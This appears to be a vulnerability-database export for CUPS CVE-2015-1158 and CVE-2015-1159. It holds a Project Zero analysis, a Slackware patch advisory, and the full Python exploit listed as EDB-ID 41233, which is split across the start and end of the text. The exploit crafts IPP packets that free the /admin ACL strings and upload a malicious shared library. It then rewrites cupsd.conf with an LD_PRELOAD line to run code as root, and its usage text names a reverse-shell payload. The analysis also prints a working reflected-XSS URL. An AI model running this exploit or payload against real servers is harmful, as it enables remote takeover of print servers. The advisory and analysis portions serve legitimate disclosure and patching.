m = re.search(\"ipp://\" + rhost + \":\" + str(rport) + \"/jobs/(\\d+)\",blah)

if m is not None:

jobid = m.group(1)

else:

pretty(\"-\",\"something went wrong\");

exit()



pretty(\"*\",\"\

\" + createDump(blah) + \"\

\")

pretty(\"*\", \"Sending sendJob\")



send_document_packet = (\"\\x02\\x00\"

\"\\x00\\x06\"+

reqid2+

\"\\x01\"

\"\\x47\"+\"\\x00\\x12\"+\"attributes-charset\"+\"\\x00\\x05\"+\"utf-8\"

\"\\x48\"+\"\\x00\\x1b\"+\"attributes-natural-language\"+\"\\x00\\x05\"+\"en-us\"

\"\\x45\"+\"\\x00\\x0b\"+\"printer-uri\" + str(pack(\">h\", len(printer_uri))) + printer_uri +

\"\\x21\"+\"\\x00\\x06\"+\"job-id\"+\"\\x00\\x04\"+ str(pack(\">i\", int(jobid))) +

\"\\x42\"+\"\\x00\\x14\"+\"requesting-user-name\"+\"\\x00\\x04\"+\"root\"

\"\\x42\"+\"\\x00\\x0d\"+\"document-name\"+\"\\x00\\x06\"+\"badlib\"

\"\\x49\"+\"\\x00\\x0f\"+\"document-format\"+\"\\x00\\x18\"+\"application/octet-stream\"

\"\\x22\"+\"\\x00\\x0d\"+\"last-document\"+\"\\x00\\x01\"+\"\\x01\"

\"\\x03\"+

payload)



http_header2 = ( \"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + str(rport) + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"Content-Length: \" + str(len(send_document_packet) + 0) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")



sendJobRequest = http_header2 + send_document_packet

blah2 = txrx(rhost,int(rport),\"tcp\",sendJobRequest)

pretty(\"*\",\"\

\" + createDump(blah) + \"\

\")

pretty(\"*\",\"job id: \" + jobid)

return jobid



def stompACL(rhost, rport, printer):

i = random.randint(1,1024)

printer_url = \"ipp://\" + rhost + \":\" + rport + printer



admin_stomp = (\"\\x02\\x00\" # vers 2.0

\"\\x00\\x05\"+ # op id: Create Job (0x0005)

str(pack(\">i\",(i+1)))+

\"\\x01\" # op attributes marker

\"\\x47\" # charset

\"\\x00\\x12\" # name len: 18

\"attributes-charset\"

\"\\x00\\x08\" # val len: 8

\"us-ascii\"

\"\\x48\" # natural language

\"\\x00\\x1b\" # name len: 27

\"attributes-natural-language\"

\"\\x00\\x06\" # val len: 6

\"/admin\"

\"\\x45\" # printer-uri

\"\\x00\\x0b\" # name len 11

\"printer-uri\" +

str(pack(\">h\", len(printer_url))) + printer_url +

\"\\x42\" # name without lang

\"\\x00\\x14\" # name len: 20

\"requesting-user-name\"

\"\\x00\\x06\" # val len: 6

\"/admin\"

\"\\x02\" # job attrs marker

\"\\x21\" # integer

\"\\x00\\x06\" # name len: 6

\"copies\"

\"\\x00\\x04\" # val len: 4

\"\\x00\\x00\\x00\\x01\" # 1

\"\\x42\" # name w/o lang

\"\\x00\\x19\" # name len: 25

\"job-originating-host-name\"

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x36\" # nwl

\"\\x00\\x00\" # name len: 0

\"\\x00\\x16\" # val len: 22

\"\\x00\\x06\" # length

\"/admin\"

\"\\x00\\x0c\"

\"BBBBBBBBBBBB\"

\"\\x03\") # end of attributes



conf_stomp = (\"\\x02\\x00\" # vers 2.0

\"\\x00\\x05\"+ # op id: Create Job (0x0005)

str(pack(\">i\",(i+2)))+

\"\\x01\" # op attributes marker

\"\\x47\" # charset

\"\\x00\\x12\" # name len: 18

\"attributes-charset\"

\"\\x00\\x08\" # val len: 8

\"us-ascii\"

\"\\x48\" # natural language

\"\\x00\\x1b\" # name len: 27

\"attributes-natural-language\"

\"\\x00\\x0b\" # val len: 11

\"/admin/conf\"

\"\\x45\" # printer-uri

\"\\x00\\x0b\" # name len 11

\"printer-uri\" +

str(pack(\">h\", len(printer_url))) + printer_url +

\"\\x42\" # name without lang

\"\\x00\\x14\" # name len: 20

\"requesting-user-name\"

\"\\x00\\x0b\" # val len: 11

\"/admin/conf\"

\"\\x02\" # job attrs marker

\"\\x21\" # integer

\"\\x00\\x06\" # name len: 6

\"copies\"

\"\\x00\\x04\" # val len: 4

\"\\x00\\x00\\x00\\x01\" # 1

\"\\x42\" # name w/o lang

\"\\x00\\x19\" # name len: 25

\"job-originating-host-name\"

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x36\" # nwl

\"\\x00\\x00\" # name len: 0

\"\\x00\\x1b\" # val len: 27

\"\\x00\\x0b\" # length

\"/admin/conf\"

\"\\x00\\x0c\"

\"BBBBBBBBBBBB\"

\"\\x03\") # end of attributes



http_header1 = (\"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"Content-Length: \" + str(len(admin_stomp)) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")



http_header2 = (\"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"Content-Length: \" + str(len(conf_stomp)) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")



pretty(\"*\",\"stomping ACL\")

pretty(\"*\",\">:\

\" + createDump(http_header1 + admin_stomp))

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_header1 + admin_stomp)))

time.sleep(1)

pretty(\"*\",\">:\

\" + createDump(http_header2 + conf_stomp))

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_header2 + conf_stomp)))



http_header_check = (\"GET /admin HTTP/1.1\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"\\x0d\\x0a\")

pretty(\"*\",\"checking /admin\")

pretty(\"*\",\">:\

\" + createDump(http_header_check))

res = txrx(rhost,rport,\"tcp\",http_header_check)

pretty(\"*\",\"<:\

\" + createDump(res))

m = re.search('200 OK', res)

if m is not None:

pretty(\"+\",\"ACL stomp successful\")

else:

pretty(\"-\",\"exploit failed\")

exit(1)





def getConfig(rhost, rport):

i = random.randint(1,1024)

original_config = \"\"

http_request = (\"GET /admin/conf/cupsd.conf HTTP/1.1\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"\\x0d\\x0a\")



pretty(\"*\",\"grabbing configuration file....\")

res = txrx(rhost,rport,\"tcp\",http_request)

res_array = res.split(\"\\x0d\\x0a\\x0d\\x0a\")

original_config = res_array[1]

pretty(\"*\",\"config:\

\" + original_config + \"\

\")

return original_config



def putConfig(rhost, rport, config):

http_request = (\"PUT /admin/conf/cupsd.conf HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Keep-Alive\\x0d\\x0a\"

\"Content-Length: \" + str(len(config)) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")

pretty(\"*\",\"overwriting config...\")

pretty(\"*\",\">:\

\" + createDump(http_request + config))

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_request + config)))



def poisonConfig(config, name):

config = config + \"\\x0a\\x0aSetEnv LD_PRELOAD /var/spool/cups/d000\" + name + \"-001\\x0a\"

return config



def main():

rhost = None;

rport = None;

noshell = None;

options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:fh', ['rhost=','rport=','lib=','stomp-only','help'])

for opt, arg in options:

if opt in ('-h', '--help'):

usage()

elif opt in ('-a','--rhost'):

rhost = arg;

elif opt in ('-b','--rport'):

rport = arg;

elif opt in ('-c','--lib'):

libpath = arg;

elif opt in ('-f','--stomp-only'):

noshell = 1;

banner()

if rhost is None or rport is None:

usage()

pretty(\"*\",\"locate available printer\")

printer = locatePrinters(rhost, rport)

pretty(\"*\",\"stomp ACL\")

stompACL(rhost, rport, printer)

if (noshell is not None):

pretty(\"*\",\"fin\")

exit(0)

pretty(\"*\",\"prepare payload\")

payload = preparePayload(libpath)

pretty(\"*\",\"spray payload\")

jobid = seedTarget(rhost, rport, printer, payload)

pretty(\"*\",\"grab original config\")

OG_config = getConfig(rhost, rport)

pretty(\"*\",\"generate poison config\")

evil_config = poisonConfig(OG_config, jobid)

pretty(\"*\",\"upload poison config\")

putConfig(rhost, rport, evil_config)

pretty(\"*\",\"fin\")

exit(0);



if __name__ == \"__main__\":

main()", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-01T19:04:07", "description": "

CUPS 2.0.3 - Multiple Vulnerabilities", "edition": 1, "published": "2015-06-22T00:00:00", "title": "CUPS 2.0.3 - Multiple Vulnerabilities", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-1158", "CVE-2015-1159"], "modified": "2015-06-22T00:00:00", "id": "EXPLOITPACK:4CB42140E06509F8B1AAEC2A1095ADF4", "href": "", "sourceData": "Source: http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html



Abstract



Modern exploit mitigations draw attackers into a game of diminishing marginal returns. With each additional mitigation added, a subset of software bugs become unexploitable, and others become difficult to exploit, requiring application or even bug-specific knowledge that cannot be reused. The practical effect of exploit mitigations against any given bug or class of bugs is the subject of great debate amongst security researchers.



Despite mitigations, skilled and determined attackers alike remain undeterred. They cope by finding more bugs, and by crafting increasingly complex exploit chains. Attackers treat these exploits as closely-guarded, increasingly valuable secrets, and it's rare to see publicly-available full-fledged exploit chains. This visibility problem contributes to an attacker's advantage in the short term, but hinders broader innovation.



In this blog post, I describe an exploit chain for several bugs I discovered in CUPS, an open-source printing suite. I start by analyzing a relatively-subtle bug in CUPS string handling (CVE-2015-1158), an exploit primitive. I discuss key design and implementation choices that contributed to this bug. I then discuss how to build an exploit using the primitive. Next, I describe a second implementation error (CVE-2015-1159) that compounds the effect of the first, exposing otherwise unreachable instances of CUPS. Finally, I discuss the specific features and configuration options of CUPS that either helped or hindered exploitation.



By publishing this analysis, I hope to encourage transparent discourse on the state of exploits and mitigations, and inspire other researchers to do the same.



Summary



Cupsd uses reference-counted strings with global scope. When parsing a print job request, cupsd can be forced to over-decrement the reference count for a string from the request. As a result, an attacker can prematurely free an arbitrary string of global scope. I use this to dismantle ACL's protecting privileged operations, upload a replacement configuration file, then run arbitrary code.



The reference count over-decrement is exploitable in default configurations, and does not require any special permissions other than the basic ability to print. A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web. The XSS is reachable in the default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind the CUPS scheduler to the 'localhost' or loopback interface.



Exploitation is near-deterministic, and does not require complex memory-corruption 'acrobatics'. Reliability is not affected by traditional exploit mitigations.

Background



Improper Teardown - Reference Count Over-Decrement (CVE-2015-1158)



When freeing localized multi-value attributes, the reference count on the language string is over-decremented when creating a print job whose 'job-originating-host-name' attribute has more than one value. In 'add_job()', cupsd incorrectly frees the 'language' field for all strings in a group, instead of using 'ipp_free_values()'.



scheduler/ipp.c:1626:



/*

* Free old strings\u2026 \u2190 Even 'old' strings need to be freed.

*/



for (i = 0; i < attr->num_values; i ++)

{

_cupsStrFree(attr->values[i].string.text);

attr->values[i].string.text = NULL;

if (attr->values[i].string.language) \u2190 for all values in an attribute

{

_cupsStrFree(attr->values[i].string.language); \u2190 free the 'language' string

attr->values[i].string.language = NULL;

}

}



In this case, 'language' field comes from the value of the 'attributes-natural-language' attribute in the request.



To specifically target a string and free it, we send a 'IPP_CREATE_JOB' or 'IPP_PRINT_JOB' request with a multi-value 'job-originating-host-name' attribute. The number of 'job-originating-host-name' values controls how many times the reference count is decremented. For a 10-value attribute, the reference count for 'language' is increased once, but decremented 10 times.



The over-decrement prematurely frees the heap block for the target string. The actual block address will be quickly re-used by subsequent allocations.



Dangling pointers to the block remain, but the content they point to changes when blocks are freed or reused. This is the basic exploit primitive upon which we build.





A Reflected XSS in the Web Interface (CVE-2015-1159)



The template engine is only vaguely context-aware, and only supports HTML. Template parsing and variable substitution and escaping are handled in 'cgi_copy()'.



The template engine has 2 special cases for 'href' attributes from HTML links. The first case 'cgi_puturi()' is unused in current templates, but the second case ends up being interesting.



The code is found in 'cgi_puts()', and escapes the following reserved HTML characters:

<>\"'&



These are replaced with their HTML entity equivalents ('<' etc...).



The function contains a curious special case to deal with HTML links in variable values. Here is a code snippet, from cgi-bin/template.c:650:



if (*s == '<')

{

/*

* Pass <A HREF=\"url\"> and </A>, otherwise quote it...

*/



if (!_cups_strncasecmp(s, \"<A HREF=\\\"\", 9))

{

fputs(\"<A HREF=\\\"\", out);

s += 9;



while (*s && *s != '\\\"')

{

if (*s == '&')

fputs(\"&\", out);

else

putc(*s, out);



s ++;

}



if (*s)

s ++;



fputs(\"\\\">\", out);

}



For variable values containing '<a href=\"', all subsequent characters before a closing double-quote are subject to less restrictive escaping, where only the '&' character is escaped. The characters <>', and a closing \" would normally be escaped, but are echoed unaltered in this context.



Note that the data being escaped here is client-supplied input, the variable value from the CGI argument. This code may have been intended to deal with links passed as CGI arguments. However, the template engine's limited context-awareness becomes an issue.



Take this example from templates/help-header.tmp:19:



<P CLASS=\"l0\"><A HREF=\"/help/{QUERY??QUERY={QUERY}:}\">All Documents</A></P>



In this case, the CGI argument 'QUERY' is already contained inside a 'href' attribute of a link. If 'QUERY' starts with '<a href=\"', the double-quote will close the 'href' attribute opened in the static portion of the template. The remainder of the 'QUERY' variable will be interpreted as HTML tags.



Requesting the following URI will demonstrate this reflected XSS:

http://localhost:631/help/?QUERY=%3Ca%20href=%22%20%3E%3Cscript%3Ealert%28%27Linux%20crickets%20chirping%20for%20a%20patch%27%29%3C/script%3E%3C!--&SEARCH=Search



The 'QUERY' parametre is included in the page twice, leading to multiple unbalanced double-quotes. As such, the open comment string '<!--' is used to yield a HTML page that parses without errors.





Upstream Fixes



Apple Fix (April 16, 2015):

https://support.apple.com/kb/DL1807



Official CUPS fix for downstream vendors (June 8, 2015):

https://www.cups.org/str.php?L4609

http://www.cups.org/blog.php?L1082+I0+Q



Project Zero Bug



For those interested, the sample exploit can be found here:



https://code.google.com/p/google-security-research/issues/detail?id=455

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/37336.tar.gz



Disclosure Timeline



March 20th, 2015 - Initial notification to Apple

April 16th, 2015 - Apple ships fix in Mac OS X 10.10.3

June 8th, 2015 - CUPS ships official fix in CUPS 2.0.3

June 18th, 2015 - Disclosure + 90 days

June 19th, 2015 - P0 publication



Attack Surface Reduction in CUPS 2.0.3+



CUPS 2.0.3 and 2.1 beta contains several prescient implementation changes to limit the risk and impact of future similar bugs:



Configuration value strings are now logically separated from the string pool, allocated by strdup() instead.

LD_* and DYLD_* environment variables are blocked when CUPS is running as root.

The localhost listener is removed when 'WebInterface' is disabled (2.1 beta only).



Acknowledgements



Thanks to Ben Hawkes, Stephan Somogyi, and Mike Sweet for their comments and edits.



Conclusion



No one prints anything anymore anyways.", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "slackware": [{"lastseen": "2019-05-30T07:36:44", "bulletinFamily": "unix", "cvelist": ["CVE-2015-1158"], "description": "New cups packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1,

and -current to fix a security issue.





Here are the details from the Slackware 14.1 ChangeLog:



patches/packages/cups-1.5.4-i486-4_slack14.1.txz: Rebuilt.

This release fixes a security issue:

CWE-911: Improper Update of Reference Count - CVE-2015-1158

This bug could allow an attacker to upload a replacement CUPS

configuration file and mount further attacks.

For more information, see:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1158

(* Security fix *)



Where to find the new packages:



Thanks to the friendly folks at the OSU Open Source Lab

(http://osuosl.org) for donating FTP and rsync hosting

to the Slackware project! :-)



Also see the "Get Slack" section on http://slackware.com for

additional mirror sites near you.



Updated package for Slackware 13.0:

ftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/cups-1.3.11-i486-3_slack13.0.txz



Updated package for Slackware x86_64 13.0:

ftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/cups-1.3.11-x86_64-3_slack13.0.txz



Updated package for Slackware 13.1:

ftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/cups-1.4.5-i486-3_slack13.1.txz



Updated package for Slackware x86_64 13.1:

ftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/cups-1.4.5-x86_64-3_slack13.1.txz



Updated package for Slackware 13.37:

ftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/cups-1.4.6-i486-2_slack13.37.txz



Updated package for Slackware x86_64 13.37:

ftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/cups-1.4.6-x86_64-2_slack13.37.txz



Updated package for Slackware 14.0:

ftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/cups-1.5.4-i486-3_slack14.0.txz



Updated package for Slackware x86_64 14.0:

ftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/cups-1.5.4-x86_64-3_slack14.0.txz



Updated package for Slackware 14.1:

ftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/cups-1.5.4-i486-4_slack14.1.txz



Updated package for Slackware x86_64 14.1:

ftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/cups-1.5.4-x86_64-4_slack14.1.txz



Updated package for Slackware -current:

ftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/ap/cups-2.0.3-i486-1.txz



Updated package for Slackware x86_64 -current:

ftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/ap/cups-2.0.3-x86_64-1.txz





MD5 signatures:



Slackware 13.0 package:

f013abe1761fb1a3a962ee6bb63bb12c cups-1.3.11-i486-3_slack13.0.txz



Slackware x86_64 13.0 package:

88c5e1cf46eab8fd0d101e8411f10251 cups-1.3.11-x86_64-3_slack13.0.txz



Slackware 13.1 package:

f71f2b3066f4af9c407df75b1535f179 cups-1.4.5-i486-3_slack13.1.txz



Slackware x86_64 13.1 package:

2bf27108c7c2772e8adbd984efb0c55e cups-1.4.5-x86_64-3_slack13.1.txz



Slackware 13.37 package:

0db4e57246873b1817f7332f90dd245f cups-1.4.6-i486-2_slack13.37.txz



Slackware x86_64 13.37 package:

8d3ce5ec82218ebb001c0b46d891895a cups-1.4.6-x86_64-2_slack13.37.txz



Slackware 14.0 package:

c9130b507a69775f68eb1ca71c2c746c cups-1.5.4-i486-3_slack14.0.txz



Slackware x86_64 14.0 package:

e91436f9885350bc63a2d9484f974e66 cups-1.5.4-x86_64-3_slack14.0.txz



Slackware 14.1 package:

e7887e9c90b7501edca14157a85f7c3c cups-1.5.4-i486-4_slack14.1.txz



Slackware x86_64 14.1 package:

712faf20c729a442d6229de6942aefc5 cups-1.5.4-x86_64-4_slack14.1.txz



Slackware -current package:

b92d4ad6d8da3487ca0445915ef6aa38 ap/cups-2.0.3-i486-1.txz



Slackware x86_64 -current package:

f740e4376110c797ef1926d5a94bea5a ap/cups-2.0.3-x86_64-1.txz





Installation instructions:



Upgrade the package as root:

> upgradepkg cups-1.5.4-i486-4_slack14.1.txz



Then, restart the cups server:

> sh /etc/rc.d/rc.cups restart", "edition": 4, "modified": "2015-07-07T17:00:21", "published": "2015-07-07T17:00:21", "id": "SSA-2015-188-01", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.507395", "title": "cups", "type": "slackware", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2017-02-03T08:59:45", "description": "CUPS < 2.0.3 - Remote Command Execution. CVE-2015-1158. Remote exploit for Linux platform", "published": "2017-02-03T00:00:00", "type": "exploitdb", "title": "CUPS < 2.0.3 - Remote Command Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-1158"], "modified": "2017-02-03T00:00:00", "id": "EDB-ID:41233", "href": "https://www.exploit-db.com/exploits/41233/", "sourceData": "#!/usr/bin/python\r

# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution\r

# Google Dork: n/a\r

# Date: 2/2/17\r

# Exploit Author: @0x00string\r

# Vendor Homepage: cups.org\r

# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2\r

# Version: <2.0.3\r

# Tested on: Ubuntu 14/15\r

# CVE : CVE-2015-1158\r

import os, re, socket, random, time, getopt, sys\r

from socket import *\r

from struct import *\r

\r

def banner():\r

print '''\r

lol ty google\r

0000000000000\r

0000000000000000000 00\r

00000000000000000000000000000\r

0000000000000000000000000000000\r

000000000 0000000000\r

00000000 0000000000\r

0000000 000000000000\r

0000000 000000000000000\r

000000 000000000 000000\r

0000000 000000000 000000\r

000000 000000000 000000\r

000000 000000000 000000\r

000000 00000000 000000\r

000000 000000000 000000\r

0000000 000000000 0000000\r

000000 000000000 000000\r

0000000000000000 0000000\r

0000000000000 0000000\r

00000000000 00000000\r

00000000000 000000000\r

0000000000000000000000000000000\r

00000000000000000000000000000\r

000 0000000000000000000\r

0000000000000\r

@0x00string\r

github.com/0x00string/oldays/CVE-2015-1158.py\r

'''\r

\r

def usage ():\r

print (\"python script.py <args>\

\"\r

\" -h, --help: Show this message\

\"\r

\" -a, --rhost: Target IP address\

\"\r

\" -b, --rport: Target IPP service port\

\"\r

\" -c, --lib /path/to/payload.so\

\"\r

\" -f, --stomp-only Only stomp the ACL (no postex)\

\"\r

\"\

\"\r

\"Examples:\

\"\r

\"python script.py -a 10.10.10.10 -b 631 -f\

\"\r

\"python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\

\")\r

exit()\r

\r

def pretty (t, m):\r

if (t is \"+\"):\r

print \"\\x1b[32;1m[+]\\x1b[0m\\t\" + m + \"\

\",\r

elif (t is \"-\"):\r

print \"\\x1b[31;1m[-]\\x1b[0m\\t\" + m + \"\

\",\r

elif (t is \"*\"):\r

print \"\\x1b[34;1m[*]\\x1b[0m\\t\" + m + \"\

\",\r

elif (t is \"!\"):\r

print \"\\x1b[33;1m[!]\\x1b[0m\\t\" + m + \"\

\",\r

\r

def createDump (input):\r

d, b, h = '', [], []\r

u = list(input)\r

for e in u:\r

h.append(e.encode(\"hex\"))\r

if e == '0x0':\r

b.append('0')\r

elif 30 > ord(e) or ord(e) > 128:\r

b.append('.')\r

elif 30 < ord(e) or ord(e) < 128:\r

b.append(e)\r

\r

i = 0\r

while i < len(h):\r

if (len(h) - i ) >= 16:\r

d += ' '.join(h[i:i+16])\r

d += \" \"\r

d += ' '.join(b[i:i+16])\r

d += \"\

\"\r

i = i + 16\r

else:\r

d += ' '.join(h[i:(len(h) - 0 )])\r

pad = len(' '.join(h[i:(len(h) - 0 )]))\r

d += ' ' * (56 - pad)\r

d += ' '.join(b[i:(len(h) - 0 )])\r

d += \"\

\"\r

i = i + len(h)\r

\r

return d\r

\r

class tcpsock:\r

def __init__(self, sock=None):\r

if sock is None:\r

self.sock = socket(\r

AF_INET, SOCK_STREAM)\r

self.sock.settimeout(30)\r

else:\r

self.sock = sock\r

def connect(self, host, port):\r

self.sock.connect((host, int(port)))\r

def tx(self, msg):\r

self.sock.send(msg)\r

def rx(self):\r

tmp = self.sock.recv(1024)\r

msg = \"\"\r

while tmp:\r

msg += tmp\r

tmp = self.sock.recv(1024)\r

return msg\r

\r

def txrx (ip, port, proto, txpacket):\r

if (proto is \"tcp\"):\r

sock = tcpsock()\r

elif (proto is \"udp\"):\r

sock = udpsock()\r

else:\r

return None\r

sock.connect(ip, port)\r

sock.tx(txpacket)\r

rxpacket = sock.rx()\r

return rxpacket\r

\r

def locatePrinters(rhost, rport=\"631\"):\r

request = ( \"GET /printers HTTP/1.1\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

response = txrx(rhost, int(rport), \"tcp\", request)\r

if response is not None:\r

m = re.search('<TR><TD><A HREF=\"(.+)\">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)\r

if m is not None:\r

printer = m.group(1)\r

pretty(\"+\",\"printer found: \" + printer)\r

else:\r

pretty(\"-\",\"no printers\")\r

exit(1)\r

return printer\r

\r

def preparePayload(libpath):\r

with open(libpath, 'rb') as f:\r

payload = f.read()\r

if payload is not None:\r

pretty(\"*\",\"Payload:\

\" + createDump(payload))\r

else:\r

pretty(\"-\",\"something went wrong\")\r

usage()\r

return payload\r

\r

def seedTarget(rhost, rport, printer, payload):\r

i = random.randint(1,3)\r

reqid = str(pack(\">i\",(i+2)))\r

reqid2 = str(pack(\">i\",(i+3)))\r

printer_uri = \"ipp://\" + rhost + \":\" + str(rport) + printer\r

\r

create_job_packet = (\"\\x02\\x00\"\r

\"\\x00\\x05\"+\r

reqid+\r

\"\\x01\"\r

\"\\x47\"+\"\\x00\\x12\"+\"attributes-charset\"+\"\\x00\\x05\"+\"utf-8\"\r

\"\\x48\"+\"\\x00\\x1b\"+\"attributes-natural-language\"+\"\\x00\\x05\"+\"en-us\"\r

\"\\x45\"+\"\\x00\\x0b\"+\"printer-uri\" + str(pack(\">h\", len(printer_uri))) + printer_uri +\r

\"\\x42\"+\"\\x00\\x14\"+\"requesting-user-name\"+\"\\x00\\x04\"+\"root\"\r

\"\\x42\"+\"\\x00\\x08\"+\"job-name\"+\"\\x00\\x06\"+\"badlib\"\r

\"\\x02\"\r

\"\\x21\"+\"\\x00\\x06\"+\"copies\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x01\"\r

\"\\x23\"+\"\\x00\\x0a\"+\"finishings\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x03\"\r

\"\\x42\"+\"\\x00\\x10\"+\"job-cancel-after\"+\"\\x00\\x05\"+\"\\x31\\x30\\x38\\x30\\x30\"\r

